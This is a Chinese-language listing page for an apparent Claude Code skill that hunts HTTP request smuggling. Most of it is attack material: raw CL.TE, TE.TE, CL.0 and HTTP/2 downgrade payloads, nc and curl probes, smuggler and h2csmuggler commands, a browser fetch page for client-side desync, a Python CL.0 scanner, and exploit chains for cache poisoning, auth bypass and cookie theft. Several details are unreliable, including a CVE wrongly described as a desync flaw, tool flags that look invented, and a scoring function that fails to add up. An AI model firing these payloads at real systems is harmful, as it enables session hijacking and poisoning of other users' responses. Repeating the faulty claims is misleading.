mcpField
H
hunt-http-smuggling

hunt-http-smuggling

github.com/uphiago安全1.3k41 次安装8 周前更新
代码仓库

关于 hunt-http-smuggling

用于检测代理与后端请求解析差异所致 HTTP 请求走私和不同步问题的 Web 安全测试技能。涵盖经典方式及 HTTP/2 降级变体,并提供探测方法与结果判读指引。

主要功能

  1. 01测试 CL.TE 和 TE.CL 变体
  2. 02涵盖 HTTP/2 降级不同步
  3. 03提供 CL.0 和 TE.TE 探测
  4. 04评估前端代理适用性
  5. 05说明检测信号与影响

适用场景

  1. 01测试代理到后端的请求处理
  2. 02评估 HTTP/2 到 HTTP/1.1 的部署
  3. 03调查可疑请求延迟
  4. 04评估缓存投毒或会话风险

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-http-smuggling

安装后在 Claude Code 中输入/hunt-http-smuggling确认已加载。

详细介绍

17. HTTP 请求走私

重复率最低。$5K–$30K。James Kettle 的 PortSwigger 研究。

CL.TE(前端按 Content-Length 处理,后端按 Transfer-Encoding 处理)
POST / HTTP/1.1
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
检测
1. Burp extension: HTTP Request Smuggler
2. Right-click request → Extensions → HTTP Request Smuggler → Smuggle probe
3. Manual timing: CL.TE probe + ~10s delay = backend waiting for rest of body
影响链
Poison next request → access admin as victim
Steal credentials → capture victim's session
Cache poisoning → stored XSS at scale

目标适用性矩阵(2026 年现状核查)

经典 CL.TE / TE.CL 载荷在 2026 年并非普遍可利用。现代代理默认严格遵循 RFC 9112。投入时间前,先识别前端指纹。

前端CL.TETE.CLH2.CLH2.TE备注
Nginx >= 1.21否否部分支持(H2 入口)部分支持常见配置会拒绝含糊的 CL+TE 请求,但具体行为仍取决于完整的代理链。
Caddy 2.x否否——默认已加固
Envoy ≥ 1.20否否部分支持部分支持大多数路径都已加固
HAProxy ≤ 2.4✓✓——存在漏洞,参见 CVE-2021-40346
AWS ALB + 特定上游部分支持部分支持✓✓2022-2024 年披露了多份付费报告
Cloudflare → S3 / Lambda 链——✓✓H2 降级攻击仍然可行
较旧的 F5 BIG-IP(TMM < 16)✓———参见供应商公告
Citrix ADC / NetScaler(较旧固件)✓✓——2020-2022 年披露
Squid 3.x✓———较旧的部署
Apache Traffic Server(较旧版本)✓✓✓✓PortSwigger 研究
自定义 Python / Go 代理✓✓——经常未能强制执行 RFC 规范
运营人员快速检查前端指纹
curl --max-time 30 --connect-timeout 10 -sI https://target/ | grep -i "Server:"
  • nginx/1.21+、Caddy、envoy → 经典 CL/TE 已失效;如果前端支持 HTTP/2,则转向 H2.CL/H2.TE,或查找上游的旧版代理
  • HAProxy、标头指向 AWS/CDN → 运行完整的载荷矩阵
  • 没有 Server 标头 → 假设已加固,但先快速测试一次 space-before-colon;如果未返回 400,则深入检查
H2.CL / H2.TE(当前主要攻击向量)

H2 降级走私攻击依赖于前端对客户端使用 HTTP/2、对源站使用 HTTP/1.1。降级过程会造成 CL/TE 混淆,因为 HTTP/2 的帧长度标头在转换过程中无法被干净地保留。2024-2026 年,大多数 CDN+源站链都采用这种拓扑。

针对 CDN 前置目标,使用能发送 HTTP/2 原始帧的工具(Burp Pro 的 HTTP Request Smuggler 扩展、h2csmuggler、smuggler.py)是合适的起点。对 H2 前置目标,避免使用仅支持 HTTP/1.1 的测试客户端(curl、原始套接字)——你发送的协议完全不对。


CL.0 脱同步(后端忽略 Content-Length)

也称为“CL.0”或“忽略 Content-Length”。前端读取 Content-Length 并转发请求正文。后端不会解析 Content-Length,而是一直读取到连接关闭。在 keep-alive 连接上,这会使正文中的字节残留,并被当作下一个请求的开头。

使用原始套接字检测:

# CL.0 probe — send a POST with smuggled prefix after the body
# The backend ignores CL and treats the smuggled bytes as the next request
{
  echo -en 'POST / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 6\r\nConnection: keep-alive\r\n\r\nSMUGGL'
  sleep 2
  echo -en 'GET /404 HTTP/1.1\r\nHost: target.com\r\nConnection: close\r\n\r\n'
} | nc -w 10 target.com 443

基于 Curl 的盲测:

# CL.0 timing probe: delay on backend indicates CL ignored
curl --max-time 30 --connect-timeout 10 -s --raw -X POST "https://target.com/" \
  -H "Transfer-Encoding: chunked" \
  -H "Content-Length: 4" \
  -d $'x' \
  --max-time 15 \
  -w "\nHTTP_CODE: %{http_code}\nTIME: %{time_total}\n"

以下情况最容易出现 CL.0:

  • 自定义 Go/Python/Rust 后端使用 http.Handler 和 r.Body.Read,却未强制执行 CL
  • 代理后面的 PHP-FPM(当 max_input_vars 未达到限制时,PHP 会忽略 POST 请求中的 CL)
  • Server-Timing 标头泄露内部代理处理信息

关键指标: 一个 CL 不匹配的 POST 请求未返回 HTTP 400。后端毫无异议地接受了错误的 Content-Length。


H2.CL 不同步(HTTP/2 → HTTP/1.1 CL 注入)

攻击者发送包含 content-length 标头的 HTTP/2 请求。HTTP/2 前端信任自身的帧长度来界定请求,并将 CL 标头传递给 HTTP/1.1 后端。随后,后端使用降级后的 CL 标头进行界定,而前端已读取完整帧——这会导致上游 HTTP/1.1 连接发生不同步。

Netflix 2 万美元案例分析(HackerOne 2021-2022):

  • 研究人员 @defparam 发现,Netflix 的 HTTP/2 终止层会将 content-length 标头转发到 HTTP/1.1 上游连接
  • HTTP/2 帧长度为 0(没有请求体),但注入的 content-length: 50 标头让后端认为还有 50 个字节需要读取
  • 前端将下一个请求的字节作为走私请求的“请求体”转发
  • 影响:投毒 Netflix API 响应缓存、劫持共享上游连接上的会话
  • 赏金:20,000 美元。修复方法是从所有 H2→H1.1 降级请求中剥除 content-length。

使用 h2csmuggler 检测:

# Install h2csmuggler
pip install h2csmuggler

# Probe H2.CL with a delay-based detector
h2csmuggler.py -x https://target.com --h2cl --method GET --path "/" \
  --smuggled-path "/api/internal/admin" \
  --smuggled-host "target.com" \
  --delay 5

Burp 手动探测:

  1. Burp → Repeater → 将协议切换为 HTTP/2
  2. 移除 :method 伪标头的请求体长度(设为 0)
  3. 添加 content-length: 100 作为常规标头
  4. 将走私请求放入标头后的 DATA 帧中
  5. 发送 → 观察后续请求是否会触发对 /smuggled-path 的 404 响应

H2.TE 不同步(HTTP/2 Transfer-Encoding 注入)

HTTP/2 官方移除了 Transfer-Encoding——它只使用帧长度。但当前端将 H2 降级为 H1.1,并允许 transfer-encoding: chunked 在转换后保留时,H1.1 后端会使用 TE 并等待分块边界。攻击者发送一个完整的 H2 帧(满足前端要求),再附上后端无法读完的分块请求体 → 下一个请求的字节会被当作分块请求体读取。

AWS ALB 案例分析(Albibir,2023):

  • 研究人员发现,当 AWS Application Load Balancer(ALB)配置为使用 HTTP/2 监听器和 HTTP/1.1 目标组时,会将 HTTP/2 请求中的 transfer-encoding 标头传递到 HTTP/1.1 上游
  • ALB 正确地使用帧长度终止 H2,但在 H1.1 上游请求中包含了 TE: chunked
  • Nginx/HTTPD 源站随后会将请求体解析为分块编码——0\r\n\r\n 结束当前分块,后续字节则组成一条走私 HTTP 请求
  • 影响:完全投毒 ALB 缓存的响应、窃取通过 ALB 连接的微服务之间的凭据
  • 披露:经确认复现后,AWS 发布了补丁——ALB 现在会在降级时剥除 TE 标头
  • 此模式与 CVE-2022-22963(Spring Cloud Function)类似,均利用了代理不同步

检测:

# H2.TE probe with h2csmuggler
h2csmuggler.py -x https://target.com --h2te --method POST --path "/" \
  --body "0\r\n\r\nGET /admin HTTP/1.1\r\nHost: target.com\r\n\r\n" \
  --delay 10

# Manual H2.TE via Burp (Repeater → HTTP/2):
# 1. Add header: transfer-encoding: chunked
# 2. Body: "0\r\n\r\nGET /404 HTTP/1.1\r\nHost: target.com\r\n\r\n"
# 3. The DATA frame has full body, but backend reads chunked encoding
# 4. Follow with a real GET / → expect 404 for /404

ALB 存在漏洞的条件:

  • ALB 监听器协议:HTTPS(HTTP/2)
  • 目标组协议:HTTP/1.1
  • 源站服务器会在保持活动状态的连接上解析分块编码
  • 使用以下命令验证:curl -si https://target/ | grep -i "server:"——即使没有明确的 ALB 标头,也应进行测试

TE.TE 混淆(请求头走私)

当前端和后端都支持 Transfer-Encoding,但解析请求头的方式不同,混淆变体可能导致一端识别 TE,而另一端忽略它。

变体矩阵:

变体请求头前端行为后端行为
分块编码 + 空格Transfer-Encoding : chunked名称后有空格 → 忽略 TE正确读取 TE
制表符注入Transfer-Encoding:\tchunked值前有制表符 → 跳过 TE读取 chunked
重复请求头Transfer-Encoding: x + Transfer-Encoding: chunked选择第一个 → 跳过选择最后一个 → 使用 chunked
x-chunkedTransfer-Encoding: xchunked不匹配 → 无 TE容错处理 → 读取 chunked
随机填充Transfer-Encoding: chunked\r\nTransfer-Encoding: identity采用第一个(identity)→ 无 TE采用最后一个(chunked)→ TE
请求头前的垃圾内容Transfer-Encoding:\r\n chunked折叠行 → 忽略读取为 chunked
过时的折叠行Transfer-Encoding:\r\n chunkedRFC 7230 过时的折叠行 → 忽略容错解析器接受
大小写混合Transfer-Encoding: ChuNkEd严格的小写检查 → 忽略不区分大小写 → 接受

检测脚本:

# TE.TE probe: tab injection
curl --max-time 30 --connect-timeout 10 -s -X POST "https://target.com/" \
  -H "Transfer-Encoding:\tchunked" \
  -H "Content-Length: 4" \
  -d $'0\r\n\r\n' \
  -w "HTTP_CODE: %{http_code}\n" \
  --max-time 10

# TE.TE probe: space before colon
curl --max-time 30 --connect-timeout 10 -s -X POST "https://target.com/" \
  -H "Transfer-Encoding : chunked" \
  -H "Content-Length: 4" \
  -d $'0\r\n\r\n' \
  -w "HTTP_CODE: %{http_code}\n"

# TE.TE probe: double header (front picks first, back picks last)
curl --max-time 30 --connect-timeout 10 -s -X POST "https://target.com/" \
  -H "Transfer-Encoding: x" \
  -H "Transfer-Encoding: chunked" \
  -H "Content-Length: 4" \
  -d $'0\r\nSMUGGLED\r\n' \
  -w "HTTP_CODE: %{http_code}\n"

# TE.TE probe: X-chunked variant
curl --max-time 30 --connect-timeout 10 -s -X POST "https://target.com/" \
  -H "Transfer-Encoding: xchunked" \
  -d $'0\r\n\r\nGET /404 HTTP/1.1\r\nHost: target.com\r\n\r\n' \
  --max-time 10

结果解读:

  • 混淆请求头返回 HTTP 400 → 前端较严格(符合 RFC 9112)
  • 返回 HTTP 200 但未发生不同步 → 后端接受了 TE,但不具备另一端的解析行为
  • 超时或后续请求返回走私的响应 → 确认发生 TE.TE 不同步

客户端侧不同步(浏览器驱动的请求走私)

由 James Kettle(PortSwigger,2023 年)发现。攻击者不是通过直接连接进行请求走私,而是利用受害者的浏览器发送精心构造的 POST 请求,其中包含 Connection: keep-alive,并且请求正文被代理视为完整,但后端视为不完整。随后,浏览器与代理之间的连接会遭到污染——受害者在该连接上的下一个请求将收到走私的响应。

与服务端侧不同步的关键区别: 浏览器是走私者。代理和后端是受害者。无需直接套接字连接。

机制:

  1. 攻击者托管一个页面,其中包含 fetch('https://vuln-proxy/', { method: 'POST', body: '0\r\n\r\nGET /login HTTP/1.1\r\nHost: vuln-proxy\r\n\r\n', mode: 'cors' })(或使用 no-cors 和 keepalive: true)
  2. 浏览器发送 POST 请求。前端代理认为正文已由 Content-Length 消耗完毕。
  3. 后端使用不同的解析器读取正文(或在没有 CL 的情况下使用 Connection: keep-alive),并将回车符视为请求边界。
  4. 受害者的下一个请求(一个正常的 GET /index.html)到达走私前缀之后 → 走私请求的响应被返回给受害者。

检测:

# Serve a test page that fires a desync probe from the browser
cat > /tmp/csd-test.html << 'EOF'
<!DOCTYPE html>
<html>
<body>
<script>
// Client-Side Desync probe — sends a POST with dangling body bytes
fetch('https://target.com/', {
  method: 'POST',
  mode: 'no-cors',  // keepalive needed for connection reuse
  keepalive: true,
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: '0\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: target.com\r\nConnection: close\r\n\r\n'
});

// Follow-up fetch to see if connection was poisoned
setTimeout(() => {
  fetch('/dashboard')
    .then(r => r.text())
    .then(t => console.log('DASHBOARD RESPONSE:', t.substring(0, 200)));
}, 1000);
</script>
</body>
</html>
EOF

# Start a local server to serve the page
python3 -m http.server 8888 --directory /tmp/
# Then open http://localhost:8888/csd-test.html in a browser pointed at target

客户端侧不同步的前提条件:

  • 代理支持 HTTP/1.1 keep-alive 和连接复用
  • 后端不会消耗完整个正文(忽略 CL 或分块编码不匹配)
  • 浏览器 CORS 策略允许 no-cors + keepalive: true(始终允许)
  • 受害者的浏览器必须已与代理建立开放连接(keep-alive 连接池)

通过 curl 模拟进行检测:

# Simulate what the browser sends — POST with body, then GET on same connection
{
  echo -en 'POST / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 30\r\nContent-Type: text/plain\r\nConnection: keep-alive\r\n\r\n'
  echo -en '0\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: target.com\r\n'
  sleep 1
  echo -en 'GET /dashboard HTTP/1.1\r\nHost: target.com\r\nConnection: close\r\n\r\n'
} | nc -w 10 target.com 80

HTTP 异常等级(HA Rank)

用于量化目标对 HTTP 反向代理请求走私的易受攻击程度的 0–5 评分系统。分数越高,风险越大。

分数标签判定标准操作
0免疫严格遵循 RFC 9112;对任何 CL+TE 组合均返回 400;H2→H1.1 会移除所有请求体标头继续测试其他目标
1低对 CL+TE 返回 200,但未观察到反向代理请求走私;H2 降级测试结果为阴性记录并跳过
2中等接受 CL+TE;时序探测显示轻微连接卡顿;H2 反向代理请求走私测试结果为阴性运行自动化扫描器
3高通过时序探测确认存在 CL/CL.0 或 TE 混淆;H2.CL 或 H2.TE 显示部分反向代理请求走私执行完整的手动漏洞利用链
4严重通过捕获第二个请求的后续响应确认存在反向代理请求走私;可能造成缓存投毒立即停止其他工作。构建完整漏洞利用链 PoC
5紧急已在生产环境的 keep-alive 连接池中确认缓存投毒或凭据窃取;多个上游连接受到影响立即提交披露报告

快速 HA Rank 计算器:

# HA Rank automation (bash one-liner — run against target)
function ha_rank() {
  local t=$1
  local score=0
  # Test 1: CL+TE coexistence → does the server 400?
  curl --max-time 30 --connect-timeout 10 -sk -m 10 -X POST "$t/" -H "Content-Length: 4" -H "Transfer-Encoding: chunked" -d $'x' -w "%{http_code}" | grep -q 400 && echo "CL+TE → 400 (RFC strict)" || { echo "CL+TE → accepted (+1)"; score=$((score+1)); }
  # Test 2: Timing desync probe
  timeout 15 curl --max-time 30 --connect-timeout 10 -sk -X POST "$t/" -H "Transfer-Encoding: chunked" -d $'0\r\n\r\nGET / HTTP/1.1\r\nHost: x\r\n\r\n' -w "%{time_total}" 2>/dev/null | awk '{if ($1 > 5) print "Timing desync (+2)"; else print "No timing desync"}'
  # Test 3: TE.TE obfuscation (tab injection)
  curl --max-time 30 --connect-timeout 10 -sk -m 10 -X POST "$t/" -H $'Transfer-Encoding:\tchunked' -d $'0\r\n\r\n' -w "%{http_code}" | grep -q 400 && echo "TE.TE tab → blocked" || echo "TE.TE tab → accepted (+1)"
  # Test 4: H2.CL if H2 available
  which h2csmuggler 2>/dev/null && h2csmuggler.py -x "$t" --h2cl --method GET --path "/" --delay 3 2>&1 | grep -q "VULNERABLE" && { echo "H2.CL vulnerable (+2)"; score=$((score+2)); }
  echo "--- HA Rank: $score/5 ---"
}
# Usage:
# ha_rank https://target.com

检测方法(基于技术栈的测试)

根据检测到或推测的技术栈选择测试变体。不要对每个目标发送所有有效载荷——浪费请求会消耗侦察时间。

检测到的技术栈主要测试次要测试跳过
nginx 1.21+H2.CL(如果启用了 H2)H2.TECL.TE、TE.CL、CL.0
Caddy 2.xH2.TE(H2 为默认设置)—其他全部
HAProxy ≤ 2.4CL.TETE.CL、TE.TE 混淆H2(不支持 H2)
Envoy 1.20+H2.CL(如果前端使用 H2)CL.0(自定义上游)CL.TE、TE.CL
AWS ALBH2.TEH2.CL、CL.0CL.TE(ALB 会在 H1 上移除 TE)
CloudflareH2.CL(降级到源站)H2.TECL.TE(CF 边缘节点严格遵循 RFC)
AkamaiTE.TE 混淆H2.CLCL.TE
FastlyCL.0(Fastly 的已知行为)H2.TETE.CL
Apache httpd 2.4TE.TE 混淆CL.TEH2.CL(不原生支持 H2)
自定义 Go/Python 代理CL.0CL.TE、TE.TE除非已确认,否则跳过 H2
代理后的 Java/TomcatH2.TECL.0TE.CL(Tomcat 会拒绝 TE)

通用工作流:

# Step 1: Fingerprint the stack
curl --max-time 30 --connect-timeout 10 -sI "https://target.com/" | grep -iE "^(server:|via:|x-powered-by:|x-served-by:|cf-ray:|akamai|fastly)"
# Or use httpx for stack detection
httpx -u "https://target.com/" -td -sc -server

# Step 2: Quick RFD (Request Fingerprint Detection) — does the endpoint return 400 on garbage?
curl --max-time 30 --connect-timeout 10 -s -m 5 -X PURGE "https://target.com" -w "%{http_code}"  # 405 → alive; 400 → strict

# Step 3: Based on stack (table above), run primary and secondary probes
# Step 4: If timing delta > 3s on any probe, escalate to HA Rank scoring
# Step 5: On HA Rank ≥ 3, write the full exploit chain

工具
smuggler.py(PortSwigger / defparam)

原始的 Python3 CL.TE/TE.CL 模糊测试工具。支持多线程扫描和自动检测。

# Install
git clone https://github.com/defparam/smuggler.git /tools/smuggler
cd /tools/smuggler && pip install -r requirements.txt

# Basic scan — test all payloads against a target
python3 smuggler.py -u "https://target.com/" -m POST --timeout 10

# Specific variant scan
python3 smuggler.py -u "https://target.com/" -m POST --cl-te --timeout 15

# Output vulnerable requests to file for manual replay
python3 smuggler.py -u "https://target.com/" -m POST -o /tmp/smuggler_results.txt

# With custom header (e.g., bypassing WAF by doubling Host)
python3 smuggler.py -u "https://target.com/" -m POST -H "X-Forwarded-Host: evil.com"

**限制:**smuggler.py 仅发送 HTTP/1.1 请求。它无法检测 H2.CL 或 H2.TE 变体。对于 HTTP/2 目标,务必使用 h2csmuggler 进行后续测试。

h2csmuggler(Assetnote / VanTuynh)

HTTP/2 → HTTP/1.1 降级请求走私工具链。可处理原始 H2 帧。

# Install
git clone https://github.com/assetnote/h2csmuggler.git /tools/h2csmuggler
cd /tools/h2csmuggler && pip install -r requirements.txt

# H2.CL probe
python3 h2csmuggler.py -x "https://target.com" --h2cl --method GET --path "/" \
  --smuggled-path "/api/admin/users" --smuggled-host "internal.target.com"

# H2.TE probe
python3 h2csmuggler.py -x "https://target.com" --h2te --method POST --path "/login" \
  --body "0\r\n\r\nGET /debug HTTP/1.1\r\nHost: localhost\r\n\r\n"

# Test all H2 variants
python3 h2csmuggler.py -x "https://target.com" --test-all --delay 10

# Verbose output for debugging
python3 h2csmuggler.py -x "https://target.com" --h2cl -v
Burp Suite — HTTP Request Smuggler 扩展

手动和自动化测试的黄金标准。需要 Burp Suite Professional。

  • **安装:**BApp Store → HTTP Request Smuggler(作者:PortSwigger)
  • **自动扫描:**右键单击请求 → Extensions → HTTP Request Smuggler → Smuggle Probe(CL.TE、TE.CL、TE.TE)
  • **H2 扫描:**需要 Burp 2023.12+,并在 Repeater 中启用 HTTP/2 支持
  • **H2 smuggler 选项卡:**Extensions → HTTP Request Smuggler → HTTP/2 Smuggler Configuration → 选择 H2.CL 或 H2.TE
  • **Turbo Intruder 集成:**HTTP Request Smuggler 可生成 Turbo Intruder Python 脚本,用于大规模反向代理请求走私测试

**专业提示:**在 Burp 2024+ 中使用“Smuggle via HTTP/2 downgrade”选项,无需手动切换协议即可自动测试 H2.CL/H2.TE。

Turbo Intruder(PortSwigger)

用于高速反向代理请求走私暴力测试——可帮助发现哪个上游连接池存在漏洞。

# Example Turbo Intruder script for H2.CL brute-force
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=10,
                           engine=Engine.BURP2
                           )
    for i in range(100):
        engine.queue(target.req, i)
        engine.queue(target.req, i+100)

def handleResponse(req, interesting):
    if '404' in req.response or 'smuggled' in req.response:
        table.add(req)
CL.0 检测工具(Python)

需要快速测试大量目标时使用的独立 CL.0 扫描器:

#!/usr/bin/env python3
"""CL.0 desync scanner — test if backend ignores Content-Length."""
import socket, ssl, sys, time

def test_cl0(host, port=443, path="/"):
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    sock = socket.create_connection((host, port), timeout=10)
    ssock = ctx.wrap_socket(sock, server_hostname=host)

    # Probe: POST with CL but include a smuggled prefix
    probe = (
        f"POST {path} HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"Content-Length: 6\r\n"
        f"Connection: keep-alive\r\n\r\n"
        f"SMUGGL"
    )
    ssock.sendall(probe.encode())
    time.sleep(1)

    # Follow-up request
    follow = (
        f"GET /404 HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"Connection: close\r\n\r\n"
    )
    ssock.sendall(follow.encode())

    resp = b""
    while True:
        try:
            data = ssock.recv(4096)
            if not data:
                break
            resp += data
        except:
            break
    ssock.close()
    return resp

if __name__ == "__main__":
    resp = test_cl0(sys.argv[1], int(sys.argv[2]) if len(sys.argv)>2 else 443)
    if b"404" in resp and b"SMUGGL" in resp:
        print("[!] CL.0 confirmed — smuggled prefix reflected in response")
    else:
        print("[-] No CL.0 desync detected")

验证

运行此自测,确认已准备好检测 HTTP 请求走私:

  1. 技能完整性 — 确认技能文件可读且格式正确:

    grep -q "name: hunt-http-smuggling" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. 类别检查 — 确认技能已设置类别:

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. 陷阱部分 — 确认已记录常见陷阱:

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

这 3 项测试可确认技能结构完整,已可投入使用。


常见陷阱

  • 缺少双层架构却尝试 HTTP 请求走私 — 请求走私需要前端代理和后端服务对请求边界的判断不一致。单层应用不受影响。
  • 混淆 TE.CL 与 CL.TE — 这是两种相反的攻击。尝试前先识别具体的不一致之处。
  • 发送请求走私探测请求,却没有可确认的副作用 — 探测请求返回 200 或 400 并不能确认请求走私。需要可见的副作用(缓存投毒、请求队列投毒、响应队列)。
  • HTTP/2 降级请求走私 — H2C 降级请求走私要求后端接受同一连接上的 HTTP/1.1。请测试后端是否支持 HTTP/1.1。
  • 通过请求走私绕过 WAF — 许多 WAF 不会重新组装走私请求。这是请求走私攻击的主要价值所在。

相关技能与攻击链

  • hunt-cache-poison — 请求走私与缓存结合是典型的严重攻击链:一个走私请求就会成为后续每个受害者收到的缓存响应。攻击链原语:通过 CL.TE 走私一个响应正文包含攻击者 HTML/JS 的请求 → 前端缓存将其存储在热门 URL(/、/login)下 → 发生去同步投毒,走私请求成为接下来 N 个受害者收到的缓存响应,并在缓存 TTL 期间持续生效。
  • hunt-auth-bypass — 请求走私可访问前端 WAF/身份验证代理过滤的仅限内部路由。攻击链原语:将 GET /admin/users HTTP/1.1 走私越过阻止外部访问 /admin/* 的前端 ACL → 后端将走私请求视为来自受信任的内部来源 → 通过走私内部路由请求绕过前端身份验证 → 管理员数据进入响应队列。
  • hunt-idor — 请求走私会将下一个用户的会话 Cookie 附加到攻击者控制的请求路径。攻击链原语:走私不带 Cookie 的 GET /api/me HTTP/1.1 → 后端将其与下一个合法用户传入连接的 Cookie 配对 → 受害者的会话 Cookie 被附加到攻击者的走私请求 → 攻击者读取包含受害者 PII/令牌的响应。
  • hunt-xss — 请求走私可将 XSS 载荷注入下一个受害者的响应流,而载荷从未出现在 URL 参数中。攻击链原语:走私请求正文包含反射型载荷,后端将其渲染到队列中的下一个响应里 → 下一个访问 / 的访客收到内嵌攻击者 HTML → 每位访客都会受到反射型 XSS 攻击,且访客和日志中都看不到任何 URL 参数。
  • security-arsenal — 手动编辑十六进制内容前,先使用请求走私载荷库(CL.TE / TE.CL / TE.TE 混淆、H2.CL 降级探测、h2csmuggler 单行命令、Burp HTTP Request Smuggler 扩展配置)和延时确认模板。
  • triage-validation — 在判定为 Critical 前运行严重性预检:走私请求的影响 MUST 落在由不同客户端/会话发出的请求上,而不能落在你自己的后续请求上。仅在自己的浏览器中观察到时间差,说明解析器存在分歧,并不代表存在可利用的请求走私。

评论

支持 Markdown